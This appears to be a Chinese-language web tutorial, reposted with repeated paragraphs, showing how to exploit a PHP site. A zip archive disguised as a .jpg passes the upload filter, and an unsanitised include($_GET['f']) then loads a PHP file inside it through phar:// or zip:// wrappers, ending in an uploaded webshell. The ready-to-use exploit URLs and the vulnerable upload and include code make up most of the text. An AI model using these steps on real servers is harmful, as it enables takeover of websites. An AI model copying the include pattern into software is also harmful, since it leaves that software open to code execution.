php文件包含+伪协议+文件上传漏洞利用实例
1.上传文件过滤了后缀名和MIME类型,$_FILES["pic"]["type"]是由浏览器传输的文件类型决定,但是mime_content_type()是由php
内置方法判断文件类型;
支持文件类型为application/zip,支持上传zip压缩文件,后缀名还是要改成.jpg或.gif,上传后将该名为随机数字(1499394959).jpg格式
2.任意文件包含
利用zip或phar伪协议读取压缩包中的文件
/about.php?f=phar://./images/1499394959.jpg/1.php
/about.php?f=zip://./images/1499394959.jpg%231.php
内置方法判断文件类型;
支持文件类型为application/zip,支持上传zip压缩文件,后缀名还是要改成.jpg或.gif,上传后将该名为随机数字(1499394959).jpg格式
$name1=substr($name,-4); if(($name1!==".gif") and ($name1!==".jpg")) { echo "<script language=javascript>alert("上传照片只能是JPG或者GIF!");history.go(-1)</script>"; exit; } if(mime_content_type($tmpName)!=="image/jpeg"&&mime_content_type($tmpName)!=="image/gif"&&mime_content_type($tmpName)!=="application/zip") { echo mime_content_type($tmpName); echo "<script language=javascript>alert("上传照片只能是JPG或者GIF!");history.go(-1)</script>"; exit; }
2.任意文件包含
$f = $_GET["f"]; include_once("sys/config.php"); include($f);
利用zip或phar伪协议读取压缩包中的文件
/about.php?f=phar://./images/1499394959.jpg/1.php
/about.php?f=zip://./images/1499394959.jpg%231.php
上传webshell完成
扩展:
php伪协议:
file:// — 访问本地文件系统
声明:该文观点仅代表作者本人,入门客AI创业平台信息发布平台仅提供信息存储空间服务,如有疑问请联系rumenke@qq.com。
- 上一篇:没有了
- 下一篇: https(ssl)协议以及wireshark抓包分析与解密
copyright © 2008-2019 入门客AI创业平台 版权所有 备案号:湘ICP备2023012770号